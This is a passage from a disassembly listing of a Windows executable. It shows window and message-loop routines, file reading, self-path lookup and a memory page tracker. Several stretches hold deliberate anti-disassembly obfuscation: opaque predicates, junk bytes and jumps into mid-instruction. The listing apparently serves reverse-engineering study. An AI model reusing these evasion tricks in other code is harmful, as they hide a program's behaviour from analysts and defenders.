		jmp	short loc_4B7122
; ---------------------------------------------------------------------------


loc_4B70EF:				; CODE XREF: sub_4B6F14+19Fj
		cmp	[ebp+arg_8], 1
		jnz	short loc_4B7122
		call	dword_4ED03C	; GetTickCount
		cmp	eax, dword_4F44AC
		jb	short loc_4B7122
		push	1
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4ED1F4	; KillTimer
		push	0
		push	0
		push	40Ah
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4ED25C	; SendMessageA


loc_4B7122:				; CODE XREF: sub_4B6F14:loc_4B70EDj
					; sub_4B6F14+1DFj ...
		xor	eax, eax
		jmp	short loc_4B714A
; ---------------------------------------------------------------------------


loc_4B7126:				; CODE XREF: sub_4B6F14+65j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4ED228	; DestroyWindow
		xor	eax, eax
		jmp	short loc_4B714A
; ---------------------------------------------------------------------------


loc_4B7134:				; CODE XREF: sub_4B6F14+3Fj
					; sub_4B6F14+6Bj
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4ED23C	; DefWindowProcA


loc_4B714A:				; CODE XREF: sub_4B6F14+138j
					; sub_4B6F14+150j ...
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4B6F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B7150	proc near		; DATA XREF: sub_4B6C08+77o

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		mov	al, byte_4F44A4
		push	eax
		mov	cl, byte_4F44A5
		push	ecx
		mov	edx, dword_4F448C
		push	edx
		mov	eax, dword_4F4490
		push	eax
		call	sub_4B6C08
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4B718A
		xor	eax, eax
		jmp	loc_4B720F
; ---------------------------------------------------------------------------


loc_4B718A:				; CODE XREF: sub_4B7150+31j
		cmp	dword_4F4494, 0
		jz	short loc_4B71AC
		call	dword_4ED03C	; GetTickCount
		mov	ecx, dword_4F4494
		imul	ecx, 3E8h
		add	eax, ecx
		mov	dword_4F44AC, eax


loc_4B71AC:				; CODE XREF: sub_4B7150+41j
		push	0
		push	0FAh
		push	1
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4ED200	; SetTimer


loc_4B71BF:				; CODE XREF: sub_4B7150:loc_4B720Bj
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4ED27C	; IsWindow
		test	eax, eax
		jz	short loc_4B720D
		push	3
		push	0
		push	0
		mov	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_20]
		push	edx
		call	dword_4ED280	; PeekMessageA
		test	eax, eax
		jz	short loc_4B7203
		cmp	[ebp+var_1C], 12h
		jnz	short loc_4B71ED
		jmp	short loc_4B720D
; ---------------------------------------------------------------------------


loc_4B71ED:				; CODE XREF: sub_4B7150+99j
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4ED260	; TranslateMessage
		lea	ecx, [ebp+var_20]
		push	ecx
		call	dword_4ED264	; DispatchMessageA
		jmp	short loc_4B720B
; ---------------------------------------------------------------------------


loc_4B7203:				; CODE XREF: sub_4B7150+93j
		push	1
		call	dword_4ED1A4	; Sleep


loc_4B720B:				; CODE XREF: sub_4B7150+B1j
		jmp	short loc_4B71BF
; ---------------------------------------------------------------------------


loc_4B720D:				; CODE XREF: sub_4B7150+7Bj
					; sub_4B7150+9Bj
		xor	eax, eax


loc_4B720F:				; CODE XREF: sub_4B7150+35j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4B7150	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	byte ptr [ebp-10h], 0
		push	0
		push	8000080h
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+8]
		push	eax
		call	dword_4ED0B8	; CreateFileA
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0FFFFFFFFh
		jnz	short loc_4B7248
		xor	al, al
		jmp	short loc_4B72BE
; ---------------------------------------------------------------------------


loc_4B7248:				; CODE XREF: .text:004B7242j
		push	0
		mov	ecx, [ebp-14h]
		push	ecx
		call	dword_4ED0B4	; GetFileSize
		mov	[ebp-8], eax
		mov	edx, [ebp-8]
		push	edx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-18h], eax
		mov	eax, [ebp-18h]
		mov	[ebp-0Ch], eax
		push	0
		lea	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-8]
		push	edx
		mov	eax, [ebp-0Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	dword_4ED0B0	; ReadFile
		test	eax, eax
		jz	short loc_4B729F
		mov	dl, [ebp+10h]
		push	edx
		mov	al, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-0Ch]
		push	ecx
		call	sub_4B6BB7
		add	esp, 0Ch
		mov	[ebp-10h], al


loc_4B729F:				; CODE XREF: .text:004B7286j
		mov	edx, [ebp-0Ch]
		mov	[ebp-1Ch], edx
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_4C85D6
		add	esp, 4
		mov	ecx, [ebp-14h]
		push	ecx
		call	dword_4ED0E8	; CloseHandle
		mov	al, [ebp-10h]


loc_4B72BE:				; CODE XREF: .text:004B7246j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4B72D0(char *Str)

sub_4B72D0	proc near		; CODE XREF: .text:004B5A0Bp
					; .text:004B9923p

var_24C		= byte ptr -24Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
Source		= byte ptr -118h
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	104h
		lea	eax, [ebp+var_24C]
		push	eax
		push	0
		call	dword_4ED1C4	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4B72F5
		xor	al, al
		jmp	short loc_4B735B
; ---------------------------------------------------------------------------


loc_4B72F5:				; CODE XREF: sub_4B72D0+1Fj
		lea	ecx, [ebp+var_144]
		push	ecx
		lea	edx, [ebp+var_24C]
		push	edx
		call	dword_4ED0C0	; FindFirstFileA
		mov	[ebp+var_148], eax
		cmp	[ebp+var_148], 0FFFFFFFFh
		jnz	short loc_4B731C
		xor	al, al
		jmp	short loc_4B735B
; ---------------------------------------------------------------------------


loc_4B731C:				; CODE XREF: sub_4B72D0+46j
		mov	eax, [ebp+var_148]
		push	eax
		call	dword_4ED0BC	; FindClose
		lea	ecx, [ebp+Source]
		push	ecx		; Source
		mov	edx, [ebp+Str]
		push	edx		; Dest
		call	_strcpy_0
		add	esp, 8
		push	2Eh		; Ch
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	_strrchr_0
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4B7359
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	0


loc_4B7359:				; CODE XREF: sub_4B72D0+81j
		mov	al, 1


loc_4B735B:				; CODE XREF: sub_4B72D0+23j
					; sub_4B72D0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4B72D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4B735F(wchar_t *Str)

sub_4B735F	proc near		; CODE XREF: .text:004B9A13p

var_460		= byte ptr -460h
var_258		= dword	ptr -258h
var_254		= byte ptr -254h
Source		= word ptr -228h
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 460h
		push	104h
		lea	eax, [ebp+var_460]
		push	eax
		push	0
		call	dword_4ED1BC	; GetModuleFileNameW
		test	eax, eax
		jnz	short loc_4B7384
		xor	al, al
		jmp	short loc_4B73EC
; ---------------------------------------------------------------------------


loc_4B7384:				; CODE XREF: sub_4B735F+1Fj
		lea	ecx, [ebp+var_254]
		push	ecx
		lea	edx, [ebp+var_460]
		push	edx
		call	dword_4ED0C4	; FindFirstFileW
		mov	[ebp+var_258], eax
		cmp	[ebp+var_258], 0FFFFFFFFh
		jnz	short loc_4B73AB
		xor	al, al
		jmp	short loc_4B73EC
; ---------------------------------------------------------------------------


loc_4B73AB:				; CODE XREF: sub_4B735F+46j
		mov	eax, [ebp+var_258]
		push	eax
		call	dword_4ED0BC	; FindClose
		lea	ecx, [ebp+Source]
		push	ecx		; Source
		mov	edx, [ebp+Str]
		push	edx		; Dest
		call	_wcscpy
		add	esp, 8
		push	2Eh		; Ch
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	_wcsrchr
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4B73EA
		mov	ecx, [ebp+var_4]
		mov	word ptr [ecx],	0


loc_4B73EA:				; CODE XREF: sub_4B735F+81j
		mov	al, 1


loc_4B73EC:				; CODE XREF: sub_4B735F+23j
					; sub_4B735F+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4B735F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B73F0	proc near		; DATA XREF: .data:004ED294o
		push	ebp
		mov	ebp, esp
		call	sub_4B73FA
		pop	ebp
		retn
sub_4B73F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B73FA	proc near		; CODE XREF: sub_4B73F0+3p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4ED3E4
		mov	dword_4F4738, eax
		pop	ebp
		retn
sub_4B73FA	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  83h	; ƒ
		db 0ECh	; ì
		db  1Ch
		db  6Ah	; j
		db  1Ch
		db  8Dh	; 
		db  45h	; E
		db 0E4h	; ä
		db  50h	; P
		db  8Bh	; ‹
		db  4Dh	; M
		db  0Ch
		db  51h	; Q
		db  8Bh	; ‹
		db  55h	; U
		db    8
		db  52h	; R
		db 0FFh
		db  15h
		db 0C8h	; È
		db 0D0h	; Ð
		db  4Eh	; N
		db    0
		db  8Bh	; ‹
		db  45h	; E
		db 0E8h	; è
		db  8Bh	; ‹
		db 0E5h	; å
		db  5Dh	; ]
		db 0C3h	; Ã

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4B742A(int,int,size_t	Size,void *Src)

sub_4B742A	proc near		; CODE XREF: sub_4B742A+69p
					; sub_4B742A+8Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Size		= dword	ptr  10h
Src		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		sub	eax, dword_4F4754
		cdq
		and	edx, 0FFFh
		add	eax, edx
		sar	eax, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		sub	eax, dword_4F4754
		mov	ecx, [ebp+Size]
		lea	eax, [eax+ecx-1]
		cdq
		and	edx, 0FFFh
		add	eax, edx
		sar	eax, 0Ch
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_8]
		jz	short loc_4B74C0
		mov	eax, [ebp+var_8]
		shl	eax, 0Ch
		mov	ecx, dword_4F4754
		add	ecx, eax
		sub	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+Src]
		push	edx		; Src
		mov	eax, [ebp+var_10]
		push	eax		; Size
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_0]
		push	edx		; int
		call	sub_4B742A
		add	esp, 10h
		mov	eax, [ebp+Src]
		add	eax, [ebp+var_10]
		push	eax		; Src
		mov	ecx, [ebp+Size]
		sub	ecx, [ebp+var_10]
		push	ecx		; Size
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_10]
		push	edx		; int
		mov	eax, [ebp+arg_0]
		push	eax		; int
		call	sub_4B742A
		add	esp, 10h
		mov	al, 1
		jmp	short loc_4B7535
; ---------------------------------------------------------------------------


loc_4B74C0:				; CODE XREF: sub_4B742A+43j
		push	10h
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4F4748
		mov	eax, [ecx+eax*4]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4F4748
		mov	eax, [ebp+var_4]
		mov	[edx+ecx*4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+Size]
		mov	[eax+8], ecx
		mov	edx, [ebp+Size]
		push	edx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_18]
		mov	[eax], ecx
		mov	edx, [ebp+Size]
		push	edx		; Size
		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	al, 1


loc_4B7535:				; CODE XREF: sub_4B742A+94j
		mov	esp, ebp
		pop	ebp
		retn
sub_4B742A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		jo	short loc_4B754B
		jl	short loc_4B7549


loc_4B7546:				; CODE XREF: .text:loc_4B7549j
					; .text:loc_4B754Bj
		jmp	short loc_4B754D
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B7549:				; CODE XREF: .text:004B7544j
		jz	short loc_4B7546


loc_4B754B:				; CODE XREF: .text:004B7542j
		jmp	short loc_4B7546
; ---------------------------------------------------------------------------


loc_4B754D:				; CODE XREF: .text:loc_4B7546j
		mov	eax, [ebp+8]
		mov	dword_4F4754, eax
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh	; CODE XREF: .text:004B75CEj
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B7578


loc_4B7575:				; CODE XREF: .text:004B7596j
		jmp	short near ptr loc_4B7598+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B7578:				; CODE XREF: .text:004B7573j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B758B
; ---------------------------------------------------------------------------
		dw 0EBB8h
		db 0Fh
; ---------------------------------------------------------------------------


loc_4B7581:				; CODE XREF: .text:004B758Dj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B758F
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B758B:				; CODE XREF: .text:004B757Cj
		xor	eax, eax
		jz	short loc_4B7581


loc_4B758F:				; CODE XREF: .text:004B7588j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B7575


loc_4B7598:				; CODE XREF: .text:loc_4B7575j
		jmp	near ptr 92B212FEh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	ecx, [ebp+0Ch]
		add	ecx, 0FFFh
		shr	ecx, 0Ch
		mov	dword_4F4768, ecx
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4B75EA ; CODE	XREF: .text:loc_4B75EAj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B75C2:				; CODE XREF: .text:004B75E3j
		jmp	short loc_4B75E1
; ---------------------------------------------------------------------------


loc_4B75C4:				; CODE XREF: .text:loc_4B75E1j
		xor	ecx, ecx


loc_4B75C6:				; CODE XREF: .text:004B75D5j
		jz	short $+2
		jmp	short loc_4B75DA
; ---------------------------------------------------------------------------


loc_4B75CA:				; CODE XREF: .text:004B75DEj
		stc
		xor	ecx, 3
		jz	short near ptr loc_4B755D+3
		jmp	short loc_4B75D7
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B75D3:				; CODE XREF: .text:loc_4B75D7j
		jmp	short loc_4B75E5
; ---------------------------------------------------------------------------
		jz	short loc_4B75C6


loc_4B75D7:				; CODE XREF: .text:004B75D0j
		jnb	short loc_4B75D3
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B75DA:				; CODE XREF: .text:004B75C8j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B75CA
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B75E1:				; CODE XREF: .text:loc_4B75C2j
		jmp	short loc_4B75C4
; ---------------------------------------------------------------------------
		jmp	short loc_4B75C2
; ---------------------------------------------------------------------------


loc_4B75E5:				; CODE XREF: .text:loc_4B75D3j
		repne sbb al, 0DBh
		jmp	short loc_4B75ED
; ---------------------------------------------------------------------------


loc_4B75EA:				; CODE XREF: .text:004B75BDj
		jmp	short near ptr loc_4B75BD+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B75ED:				; CODE XREF: .text:004B75E8j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	edx, [ebp+14h]
		mov	dword_4F475C, edx
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh	; CODE XREF: .text:loc_4B7687j
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B7623


loc_4B7620:				; CODE XREF: .text:004B7641j
		jmp	short near ptr loc_4B7643+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B7623:				; CODE XREF: .text:004B761Ej
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B7636
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B762C:				; CODE XREF: .text:004B7638j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B763A
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B7636:				; CODE XREF: .text:004B7627j
		xor	eax, eax
		jz	short loc_4B762C


loc_4B763A:				; CODE XREF: .text:004B7633j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B7620


loc_4B7643:				; CODE XREF: .text:loc_4B7620j
		jmp	near ptr 92B213A9h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	eax, dword_4F4768
		shl	eax, 2
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		mov	dword_4F4770, ecx
		pusha
		xor	eax, eax
		jnz	short loc_4B7670
		jmp	short loc_4B7685
; ---------------------------------------------------------------------------


loc_4B7670:				; CODE XREF: .text:004B766Cj
		jmp	short loc_4B76A5
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4B7677:				; CODE XREF: .text:loc_4B7685j
		jo	short loc_4B7687
		jmp	short near ptr loc_4B7687+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh ; CODE	XREF: .text:004B76F0j
		db 9
; ---------------------------------------------------------------------------


loc_4B7685:				; CODE XREF: .text:004B766Ej
		jz	short loc_4B7677


loc_4B7687:				; CODE XREF: .text:loc_4B7677j
					; .text:004B7679j
		jmp	short near ptr loc_4B760E+2
; ---------------------------------------------------------------------------
		db 0DBh, 7Ah, 0F0h
		dd 8B6133A0h, 4F476815h, 2E2C100h, 0F43E852h, 0C4830001h
		dd 0F4458904h
		db 8Bh
; ---------------------------------------------------------------------------


loc_4B76A5:				; CODE XREF: .text:loc_4B7670j
		inc	ebp
		hlt
; ---------------------------------------------------------------------------
		mov	dword_4F4774, eax
		jo	short loc_4B76B5
		jl	short loc_4B76B3


loc_4B76B0:				; CODE XREF: .text:loc_4B76B3j
					; .text:loc_4B76B5j
		jmp	short loc_4B76B7
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B76B3:				; CODE XREF: .text:004B76AEj
		jz	short loc_4B76B0


loc_4B76B5:				; CODE XREF: .text:004B76ACj
		jmp	short loc_4B76B0
; ---------------------------------------------------------------------------


loc_4B76B7:				; CODE XREF: .text:loc_4B76B0j
		mov	ecx, dword_4F4768
		shl	ecx, 2
		push	ecx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-10h], eax
		mov	edx, [ebp-10h]
		mov	dword_4F4778, edx
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf


loc_4B76DE:				; CODE XREF: .text:004B774Cj
		pusha
		jmp	short loc_4B770C ; CODE	XREF: .text:loc_4B770Cj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B76E4:				; CODE XREF: .text:004B7705j
		jmp	short loc_4B7703
; ---------------------------------------------------------------------------


loc_4B76E6:				; CODE XREF: .text:loc_4B7703j
		xor	ecx, ecx


loc_4B76E8:				; CODE XREF: .text:004B76F7j
		jz	short $+2
		jmp	short loc_4B76FC
; ---------------------------------------------------------------------------


loc_4B76EC:				; CODE XREF: .text:004B7700j
		stc
		xor	ecx, 3
		jz	short near ptr dword_4B767C+6
		jmp	short loc_4B76F9
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B76F5:				; CODE XREF: .text:loc_4B76F9j
		jmp	short loc_4B7707
; ---------------------------------------------------------------------------
		jz	short loc_4B76E8


loc_4B76F9:				; CODE XREF: .text:004B76F2j
		jnb	short loc_4B76F5
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B76FC:				; CODE XREF: .text:004B76EAj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B76EC
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B7703:				; CODE XREF: .text:loc_4B76E4j
		jmp	short loc_4B76E6
; ---------------------------------------------------------------------------
		jmp	short loc_4B76E4
; ---------------------------------------------------------------------------


loc_4B7707:				; CODE XREF: .text:loc_4B76F5j
		repne sbb al, 0DBh
		jmp	short loc_4B770F
; ---------------------------------------------------------------------------


loc_4B770C:				; CODE XREF: .text:004B76DFj
		jmp	short near ptr loc_4B76DF+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B770F:				; CODE XREF: .text:004B770Aj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		push	1000h
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		mov	dword_4F477C, eax
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf


loc_4B773A:				; CODE XREF: .text:loc_4B77B1j
		pusha
		jmp	short loc_4B7768 ; CODE	XREF: .text:loc_4B7768j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B7740:				; CODE XREF: .text:004B7761j
		jmp	short loc_4B775F
; ---------------------------------------------------------------------------


loc_4B7742:				; CODE XREF: .text:loc_4B775Fj
		xor	ecx, ecx


loc_4B7744:				; CODE XREF: .text:004B7753j
		jz	short $+2
		jmp	short loc_4B7758
; ---------------------------------------------------------------------------


loc_4B7748:				; CODE XREF: .text:004B775Cj
		stc
		xor	ecx, 3
		jz	short loc_4B76DE
		jmp	short loc_4B7755
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B7751:				; CODE XREF: .text:loc_4B7755j
		jmp	short loc_4B7763
; ---------------------------------------------------------------------------
		jz	short loc_4B7744


loc_4B7755:				; CODE XREF: .text:004B774Ej
		jnb	short loc_4B7751
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B7758:				; CODE XREF: .text:004B7746j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B7748
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B775F:				; CODE XREF: .text:loc_4B7740j
		jmp	short loc_4B7742
; ---------------------------------------------------------------------------
		jmp	short loc_4B7740
; ---------------------------------------------------------------------------


loc_4B7763:				; CODE XREF: .text:loc_4B7751j
		repne sbb al, 0DBh
		jmp	short loc_4B776B
; ---------------------------------------------------------------------------


loc_4B7768:				; CODE XREF: .text:004B773Bj
		jmp	short near ptr loc_4B773B+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B776B:				; CODE XREF: .text:004B7766j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	ecx, dword_4F4768
		shl	ecx, 2
		push	ecx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-18h], eax
		mov	edx, [ebp-18h]
		mov	dword_4F4748, edx
		pusha
		xor	eax, eax
		jnz	short loc_4B779A
		jmp	short loc_4B77AF
; ---------------------------------------------------------------------------


loc_4B779A:				; CODE XREF: .text:004B7796j
		jmp	short loc_4B77CF
; ---------------------------------------------------------------------------
		dd 7A1875C0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_4B77A1:				; CODE XREF: .text:loc_4B77AFj
		jo	short loc_4B77B1
		jmp	short near ptr loc_4B77B1+1
; ---------------------------------------------------------------------------
		db 0E8h, 72h, 0Eh
		dd 15FFF179h
		db 0, 79h, 9
; ---------------------------------------------------------------------------


loc_4B77AF:				; CODE XREF: .text:004B7798j
		jz	short loc_4B77A1


loc_4B77B1:				; CODE XREF: .text:loc_4B77A1j
					; .text:004B77A3j
		jmp	short loc_4B773A
; ---------------------------------------------------------------------------
		db 0DBh
		dd 33A0F07Ah, 0FC45C761h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_4B77CB
; ---------------------------------------------------------------------------


loc_4B77C2:				; CODE XREF: .text:004B7814j
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax


loc_4B77CB:				; CODE XREF: .text:004B77C0j
		mov	ecx, [ebp-4]
; ---------------------------------------------------------------------------
		db 3Bh
; ---------------------------------------------------------------------------


loc_4B77CF:				; CODE XREF: .text:loc_4B779Aj
		or	eax, offset dword_4F4768
		jge	short loc_4B7816
		mov	edx, [ebp-4]
		mov	eax, dword_4F4770
		mov	dword ptr [eax+edx*4], 0FFFFFFFFh
		mov	ecx, [ebp-4]
		mov	edx, dword_4F4774
		mov	dword ptr [edx+ecx*4], 0
		mov	eax, [ebp-4]
		mov	ecx, dword_4F4778
		mov	dword ptr [ecx+eax*4], 0FFFFFFFFh
		mov	edx, [ebp-4]
		mov	eax, dword_4F4748
		mov	dword ptr [eax+edx*4], 0
		jmp	short loc_4B77C2
; ---------------------------------------------------------------------------


loc_4B7816:				; CODE XREF: .text:004B77D4j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4F4770
		mov	[ebp-4], eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		mov	edx, dword_4F474C
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		push	eax
		call	sub_4C85D6
		add	esp, 4
		mov	ecx, dword_4F4774
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp-0Ch]
		push	edx
		call	sub_4C85D6
		add	esp, 4
		mov	eax, dword_4F4778
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		mov	edx, dword_4F477C
		mov	[ebp-14h], edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_4C85D6
		add	esp, 4
		mov	ecx, dword_4F4748
		mov	[ebp-18h], ecx
		mov	edx, [ebp-18h]
		push	edx
		call	sub_4C85D6
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B78A3	proc near		; DATA XREF: .text:004B9C10o

var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= dword	ptr -17Ch
var_178		= dword	ptr -178h
var_174		= byte ptr -174h
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= byte ptr -14Ch
Dst		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_3C		= dword	ptr -3Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

